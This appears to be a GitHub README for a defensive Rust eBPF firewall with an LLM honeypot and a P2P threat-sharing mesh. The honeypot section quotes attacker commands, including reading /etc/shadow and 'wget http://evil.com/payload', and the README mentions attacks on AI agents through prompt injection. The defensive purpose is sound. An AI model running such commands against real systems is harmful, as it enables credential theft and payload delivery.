mirror of
https://github.com/xzcrpw/blackwall.git
synced 2026-04-24 11:56:21 +02:00
402 lines
16 KiB
Markdown
402 lines
16 KiB
Markdown
<p align="center">
|
||
<strong>🌐 Language:</strong>
|
||
<a href="README.md">English</a> |
|
||
<a href="README_UA.md">Українська</a> |
|
||
<a href="README_RU.md">Русский</a>
|
||
</p>
|
||
|
||
<p align="center">
|
||
<img src="https://readme-typing-svg.herokuapp.com?font=JetBrains+Mono&weight=800&size=45&duration=3000&pause=1000&color=FF0000¢er=true&vCenter=true&width=600&lines=THE+BLACKWALL" alt="The Blackwall">
|
||
<br>
|
||
<em>Adaptive eBPF Firewall with AI Honeypot & P2P Threat Mesh</em>
|
||
</p>
|
||
|
||
# The Blackwall — I built a real Blackwall because Cyberpunk 2077 broke my brain
|
||
|
||
<p align="center">
|
||
<img src="https://img.shields.io/badge/language-Rust-orange?style=for-the-badge&logo=rust" />
|
||
<img src="https://img.shields.io/badge/kernel-eBPF%2FXDP-blue?style=for-the-badge" />
|
||
<img src="https://img.shields.io/badge/AI-Ollama%20LLM-green?style=for-the-badge" />
|
||
<img src="https://img.shields.io/badge/P2P-libp2p-purple?style=for-the-badge" />
|
||
<img src="https://img.shields.io/badge/vibe-Cyberpunk-red?style=for-the-badge" />
|
||
</p>
|
||
|
||
<p align="center">
|
||
<em>"There are things beyond the Blackwall that would fry a netrunner's brain at a mere glance."</em><br>
|
||
<strong>— Alt Cunningham, probably</strong>
|
||
</p>
|
||
|
||
<p align="center">
|
||
<strong>Currently building enterprise-grade AI automation at <a href="https://dokky.com.ua">Dokky</a></strong><br>
|
||
<strong>Enterprise licensing & consulting: <a href="mailto:xzcrpw1@gmail.com">xzcrpw1@gmail.com</a></strong>
|
||
</p>
|
||
|
||
---
|
||
|
||
**TL;DR:** Played Cyberpunk, got inspired, wrote a whole adaptive firewall that works inside the Linux kernel, catches threats with AI, traps attackers in a fake server powered by an LLM, and shares threat intel over a decentralized P2P mesh.
|
||
**~21k lines of Rust. 298 tests. 10 crates. One person.**
|
||
|
||
---
|
||
|
||
## What is it?
|
||
|
||
The **Blackwall** — named after the digital barrier from Cyberpunk 2077 that keeps rogue AIs from eating the civilized Net.
|
||
|
||
This is my version. A multi-layered defense system that doesn't just block threats — it studies them, traps them, and tells every other node what it found.
|
||
|
||
Three core layers working together:
|
||
|
||
**1. Kernel-level firewall (eBPF/XDP)** — packet analysis happens inside the Linux kernel before traffic even hits the network stack. Nanosecond decisions. Entropy analysis, TLS fingerprinting, deep packet inspection, rate limiting, connection tracking — all running in the BPF virtual machine.
|
||
|
||
**2. AI-powered TCP honeypot (Tarpit)** — instead of just dropping malicious traffic, it gets redirected to a fake Linux server. An LLM simulates bash, responds to commands, serves fake files, acts like a compromised `root@web-prod-03`. Attackers waste their time while everything gets recorded.
|
||
|
||
**3. P2P threat intelligence mesh (HiveMind)** — nodes discover each other, exchange IoCs over an encrypted libp2p network, vote on threats through consensus, track peer reputation. One node catches a scanner — every node knows about it within seconds.
|
||
|
||
Plus: distributed sensor controller, enterprise SIEM integration API (STIX/TAXII/Splunk/QRadar/CEF), TUI dashboard, behavioral profiling per IP, threat feed ingestion, PCAP forensics.
|
||
|
||
---
|
||
|
||
## Architecture
|
||
|
||
|
||
|
||
|
||
|
||
**The pipeline:**
|
||
|
||
```
|
||
Packet arrives
|
||
→ XDP: entropy check, blocklist/allowlist, CIDR match, rate limit, JA4 capture, DPI
|
||
→ RingBuf (zero-copy) → Userspace daemon
|
||
→ Static rules → Behavioral state machine → JA4 DB lookup → LLM classification
|
||
→ Verdict: PASS / DROP / REDIRECT_TO_TARPIT
|
||
→ eBPF BLOCKLIST map updated in real-time
|
||
→ IoC shared to HiveMind P2P mesh
|
||
```
|
||
|
||
---
|
||
|
||
## What Each Crate Does
|
||
|
||
### blackwall-ebpf — The Kernel Layer (1,334 lines)
|
||
|
||
eBPF programs at the XDP hook — the earliest point where a packet can be touched. Runs under strict BPF verifier rules: 512-byte stack, no heap, no floats, bounded loops.
|
||
|
||
- **Entropy calculation** — byte frequency analysis, integer-only Shannon entropy (0–7936 scale). High entropy on non-TLS ports → encrypted C2 traffic
|
||
- **TLS fingerprinting** — parses ClientHello, extracts cipher suites, extensions, ALPN, SNI → JA4 fingerprint. One fingerprint covers thousands of bots using the same TLS lib
|
||
- **DPI via tail calls** — `PROG_ARRAY` dispatches protocol-specific analyzers:
|
||
- HTTP: method + URI (catches `/wp-admin`, `/phpmyadmin`, path traversal)
|
||
- DNS: query length + label count (DNS tunneling detection)
|
||
- SSH: banner fingerprinting (`libssh`, `paramiko`, `dropbear`)
|
||
- **DNAT redirect** — suspicious traffic silently NAT'd to the tarpit. Attacker has no idea they left the real server
|
||
- **Connection tracking** — stateful TCP flow monitoring, LRU map (16K entries)
|
||
- **Rate limiting** — per-IP token bucket, prevents flood attacks and RingBuf exhaustion
|
||
- **4 RingBuf channels** — EVENTS, TLS_EVENTS, EGRESS_EVENTS, DPI_EVENTS for different event types
|
||
|
||
Maps: `BLOCKLIST`, `ALLOWLIST`, `CIDR_RULES`, `COUNTERS`, `RATE_LIMIT`, `CONN_TRACK`, `NAT_TABLE`, `TARPIT_TARGET`, `PROG_ARRAY`, plus 4 RingBuf maps.
|
||
|
||
### blackwall — The Brain (6,362 lines)
|
||
|
||
Main daemon. Loads eBPF programs, consumes RingBuf events, runs the decision pipeline.
|
||
|
||
- **Rules engine** — static blocklist/allowlist, CIDR ranges from config + feeds
|
||
- **Behavioral state machine** — per-IP profiling: connection frequency, port diversity, entropy distribution, timing analysis. Phases: `New → Suspicious → Malicious → Blocked` (or `→ Trusted`). Beaconing detection via integer CoV
|
||
- **JA4 database** — TLS fingerprint matching against known-bad signatures
|
||
- **AI classification** — Ollama integration, models ≤3B params (Qwen3 1.7B/0.6B). Event batching, structured JSON verdicts with confidence
|
||
- **Threat feeds** — external feed ingestion (Firehol, abuse.ch), periodic refresh
|
||
- **PCAP capture** — forensic recording with rotation + compression
|
||
- **Real-time feedback** — verdicts written back to eBPF BLOCKLIST map
|
||
- **HiveMind bridge** — confirmed IoCs shared to the P2P mesh
|
||
|
||
### tarpit — The Trap (2,179 lines)
|
||
|
||
A deception layer. Attackers redirected here via DNAT think they've landed on a real box.
|
||
|
||
- **Protocol auto-detect** — identifies SSH, HTTP, MySQL, DNS from first bytes
|
||
- **Protocol handlers:**
|
||
- SSH: banner, auth flow, PTY session
|
||
- HTTP: fake WordPress, `/wp-admin`, `.env`, realistic headers
|
||
- MySQL: handshake, auth, query responses with fake data
|
||
- DNS: plausible query responses
|
||
- **LLM bash sim** — every shell command → Ollama. `ls -la` returns files, `cat /etc/shadow` returns hashes, `wget` "downloads", `mysql -u root` "connects". The LLM doesn't know it's a honeypot
|
||
- **Exponential jitter** — 1-15 byte chunks, 100ms–30s delay. Maximum time waste
|
||
- **Anti-fingerprinting** — randomized TCP window, TTL, initial delay. Invisible to p0f/Nmap
|
||
- **Prompt injection defense** — 25+ patterns detected, never breaks the sim
|
||
- **Credential canaries** — all entered credentials logged for forensics
|
||
- **Session management** — per-connection state, command history, CWD tracking
|
||
|
||
### hivemind — The Mesh (6,526 lines)
|
||
|
||
Decentralized threat intelligence built on libp2p.
|
||
|
||
- **Transport** — QUIC + Noise encryption, every connection authenticated
|
||
- **Discovery** — Kademlia DHT (global), mDNS (local), configurable seed peers
|
||
- **IoC sharing** — GossipSub pub/sub, propagation across the mesh in seconds
|
||
- **Consensus** — N independent confirmations required. No single-source trust
|
||
- **Reputation** — peers earn rep for good IoCs, lose it for false positives. Bad actors get slashed
|
||
- **Sybil guard** — PoW challenges for new peers, self-ref detection in k-buckets, rate-limited registration
|
||
- **Federated learning** — local model training + FedAvg aggregation, gradient sharing (FHE encryption stub)
|
||
- **Data poisoning defense** — gradient distribution monitoring, model inversion detection
|
||
- **ZKP infrastructure** — Groth16 circuit stubs for trustless IoC verification
|
||
|
||
### hivemind-api — Enterprise Integration (2,711 lines)
|
||
|
||
REST API for plugging HiveMind data into enterprise SIEMs.
|
||
|
||
- **STIX 2.1** — standard threat intel format
|
||
- **TAXII 2.1** — threat exchange protocol
|
||
- **Splunk HEC** — HTTP Event Collector
|
||
- **QRadar LEEF** — Log Event Extended Format
|
||
- **CEF** — Common Event Format
|
||
- **Tiered licensing** — Basic / Professional / Enterprise / NationalSecurity
|
||
- **Live stats** — real-time XDP counters + P2P mesh metrics
|
||
|
||
### hivemind-dashboard — The Monitor (571 lines)
|
||
|
||
TUI dashboard. Pure ANSI — no ratatui, no crossterm, raw escape codes. Polls hivemind-api for live mesh status.
|
||
|
||
### blackwall-controller — Command & Control (356 lines)
|
||
|
||
Multi-sensor management CLI. HMAC-authenticated (PSK). Query stats, list blocked IPs, check health across all your Blackwall nodes from one place.
|
||
|
||
### common — The Contract (1,126 lines)
|
||
|
||
`#[repr(C)]` types shared between kernel and userspace: `PacketEvent`, `RuleKey`, `TlsComponentsEvent`, `DpiEvent`, counters, base64 utils. The contract that both sides agree on.
|
||
|
||
### xtask — Build Tools (46 lines)
|
||
|
||
`cargo xtask build-ebpf` — handles nightly + `bpfel-unknown-none` target compilation.
|
||
|
||
---
|
||
|
||
## Tech Stack
|
||
|
||
| Layer | Tech | Why |
|
||
|-------|------|-----|
|
||
| Kernel | **aya-rs** (eBPF/XDP) | Pure Rust eBPF — no C, no libbpf |
|
||
| Runtime | **Tokio** (current_thread) | Single-threaded, no overhead |
|
||
| IPC | **RingBuf** | Zero-copy, 7.5% overhead vs PerfEventArray's 35% |
|
||
| Concurrency | **papaya** + **crossbeam** | Lock-free maps + MPMC queues |
|
||
| P2P | **libp2p** | QUIC, Noise, Kademlia, GossipSub, mDNS |
|
||
| Crypto | **ring** | ECDSA, SHA256, HKDF, HMAC |
|
||
| HTTP | **hyper** 1.x | Minimal. No web framework |
|
||
| AI | **Ollama** | Local inference, GGUF quantized |
|
||
| Config | **TOML** | Clean, human-readable |
|
||
| Logging | **tracing** | Structured. Zero `println!` in prod |
|
||
|
||
**22 dependencies total.** Each one justified. No bloat crates.
|
||
|
||
---
|
||
|
||
## Deployment
|
||
|
||
```
|
||
deploy/
|
||
docker/
|
||
Dockerfile.blackwall # Multi-stage, stripped binary
|
||
Dockerfile.ebpf # Nightly eBPF build
|
||
helm/
|
||
blackwall/ # K8s DaemonSet + ConfigMap
|
||
systemd/
|
||
server/ # Production server units
|
||
laptop/ # Dev/laptop units
|
||
examples/ # Example configs
|
||
healthcheck.sh # Component health checker
|
||
```
|
||
|
||
Docker multi-stage builds. Helm chart for K8s (DaemonSet, one per node, `CAP_BPF`). systemd units for bare metal.
|
||
|
||
---
|
||
|
||
## Quick Start
|
||
|
||
### Prerequisites
|
||
|
||
- Linux 5.15+ with BTF (or WSL2 custom kernel)
|
||
- Rust stable + nightly with `rust-src`
|
||
- `bpf-linker` — `cargo install bpf-linker`
|
||
- Ollama (optional, for AI features)
|
||
|
||
### Build
|
||
|
||
```bash
|
||
cargo xtask build-ebpf # eBPF programs (nightly)
|
||
cargo build --release --workspace # all userspace
|
||
cargo clippy --workspace -- -D warnings # lint
|
||
cargo test --workspace # 298 tests
|
||
```
|
||
|
||
### Run
|
||
|
||
```bash
|
||
sudo RUST_LOG=info ./target/release/blackwall config.toml # needs root/CAP_BPF
|
||
RUST_LOG=info ./target/release/tarpit # honeypot
|
||
RUST_LOG=info ./target/release/hivemind # P2P node
|
||
RUST_LOG=info ./target/release/hivemind-api # threat feed API
|
||
./target/release/hivemind-dashboard # TUI
|
||
BLACKWALL_PSK=<key> ./target/release/blackwall-controller stats <ip>:<port>
|
||
```
|
||
|
||
### Config
|
||
|
||
```toml
|
||
[network]
|
||
interface = "eth0"
|
||
xdp_mode = "generic" # generic / native / offload
|
||
|
||
[thresholds]
|
||
entropy_anomaly = 6000 # 0-7936 scale
|
||
|
||
[tarpit]
|
||
enabled = true
|
||
port = 2222
|
||
base_delay_ms = 100
|
||
max_delay_ms = 30000
|
||
|
||
[tarpit.services]
|
||
ssh_port = 22
|
||
http_port = 80
|
||
mysql_port = 3306
|
||
dns_port = 53
|
||
|
||
[ai]
|
||
enabled = true
|
||
ollama_url = "http://localhost:11434"
|
||
model = "qwen3:1.7b"
|
||
fallback_model = "qwen3:0.6b"
|
||
|
||
[rules]
|
||
blocklist = ["1.2.3.4"]
|
||
allowlist = ["127.0.0.1"]
|
||
|
||
[feeds]
|
||
enabled = true
|
||
refresh_interval_secs = 3600
|
||
|
||
[pcap]
|
||
enabled = true
|
||
output_dir = "/var/lib/blackwall/pcap"
|
||
|
||
[distributed]
|
||
enabled = false
|
||
mode = "standalone"
|
||
bind_port = 9471
|
||
psk = "your-256bit-hex-key"
|
||
```
|
||
|
||
---
|
||
|
||
## The Tarpit in Action
|
||
|
||
Connect to the tarpit and you see:
|
||
|
||
```
|
||
Ubuntu 24.04.2 LTS web-prod-03 tty1
|
||
|
||
web-prod-03 login: root
|
||
Password:
|
||
Last login: Thu Mar 27 14:22:33 2025 from 10.0.0.1
|
||
|
||
root@web-prod-03:~#
|
||
```
|
||
|
||
None of this is real. The LLM plays bash. `ls` shows files. `cat /etc/passwd` shows users. `mysql -u root -p` connects you. `wget http://evil.com/payload` downloads.
|
||
|
||
30 minutes on a server that doesn't exist. Every keystroke recorded. IoCs shared to the mesh.
|
||
|
||
---
|
||
|
||
## Security Model
|
||
|
||
- Every byte from packets = attacker-controlled. All `ctx.data()` bounds-checked
|
||
- Zero `unwrap()` in prod — `?`, `expect("reason")`, or `match`
|
||
- Prompt injection: expected. 25+ patterns caught, simulation never breaks
|
||
- P2P: Sybil guard (PoW + reputation slashing), N-of-M consensus on IoCs
|
||
- Tarpit: TCP randomization — p0f/Nmap can't fingerprint it
|
||
- Controller: HMAC-authenticated, no unauthenticated access
|
||
- Kernel: rate limiting prevents RingBuf exhaustion
|
||
- Shutdown: cleans up firewall rules, no orphaned iptables state
|
||
|
||
---
|
||
|
||
## Enterprise Edition
|
||
|
||
**[Blackwall Enterprise](https://github.com/xzcrpw/blackwall-enterprise)** adds something no one else has: **real-time Agent-to-Agent (A2A) traffic analysis at the kernel level.**
|
||
|
||
AI agents are starting to talk to each other — LLM-to-LLM, via MCP, A2A protocol, agent frameworks. This creates a new attack surface: prompt injection through inter-agent communication, intent spoofing, identity theft between agents. Nothing on the market handles this. Blackwall Enterprise is the first and only such module.
|
||
|
||
**~8,400 lines of Rust.** Separate repo, separate license.
|
||
|
||
| Component | What it does |
|
||
|-----------|-------------|
|
||
| **A-JWT Validation** | Agentic JWT verification per IETF draft. Signature check via `ring`, replay prevention, key caching |
|
||
| **Intent Verification** | Exhaustive field matching — `max_amount`, `allowed_recipients` (glob), action allowlisting |
|
||
| **Agent Checksum** | SHA256(system_prompt + tools_config) — tampering = instant block |
|
||
| **Proof-of-Possession** | cnf/jwk ECDSA binding — proves the agent holds its key |
|
||
| **eBPF Uprobes** | Hooks OpenSSL/GnuTLS `SSL_write`/`SSL_read` — intercepts A2A plaintext without breaking TLS |
|
||
| **Risk-Based Routing** | Configurable policy: allow / review / block based on risk score |
|
||
| **ZK Proofs** | Violation attestation without exposing raw traffic (Groth16) |
|
||
| **P2P Gossip** | Violation proofs broadcast to HiveMind mesh |
|
||
|
||
**Licensing:** [xzcrpw1@gmail.com](mailto:xzcrpw1@gmail.com)
|
||
|
||
---
|
||
|
||
## Stats
|
||
|
||
```
|
||
Language: 100% Rust
|
||
Total: ~21,200 lines
|
||
Files: 92 .rs
|
||
Crates: 10
|
||
Tests: 298
|
||
unwrap(): 0 in prod
|
||
Dependencies: 22 (audited)
|
||
eBPF stack: ≤ 512 bytes always
|
||
Clippy: -D warnings, zero issues
|
||
CI: check + clippy + tests + eBPF nightly build
|
||
```
|
||
|
||
---
|
||
|
||
## Cyberpunk Reference
|
||
|
||
| Cyberpunk 2077 | This Project |
|
||
|----------------|-------------|
|
||
| The Blackwall | Kernel-level eBPF/XDP firewall |
|
||
| ICE | XDP fast-path: entropy + JA4 + DPI + DNAT |
|
||
| Daemons | LLM tarpit — fake server behind the wall |
|
||
| NetWatch | Behavioral engine + per-IP state machine |
|
||
| Rogue AIs | Botnets, scanners, C2 beacons |
|
||
| Braindance recordings | PCAP forensics |
|
||
| Netrunner collective | HiveMind P2P mesh |
|
||
| Fixer intel | Threat feeds |
|
||
| Arasaka C&C | Distributed controller |
|
||
|
||
---
|
||
|
||
## Disclaimer
|
||
|
||
Security research project. For defending your own infrastructure. Don't use it against others.
|
||
|
||
Not affiliated with CD Projekt Red. Just a game that rewired my brain in the best way possible.
|
||
|
||
---
|
||
|
||
## License
|
||
|
||
**BSL 1.1** (Business Source License)
|
||
|
||
Licensor: Vladyslav Soliannikov
|
||
Change Date: April 8, 2030
|
||
Change License: Apache-2.0
|
||
|
||
---
|
||
|
||
<p align="center">
|
||
<strong>Like what you see? <a href="https://github.com/xzcrpw/blackwall">Star the repo</a></strong>
|
||
</p>
|
||
|
||
<p align="center">
|
||
<strong><em>"Wake up, samurai. We have a network to protect."</em></strong>
|
||
</p>
|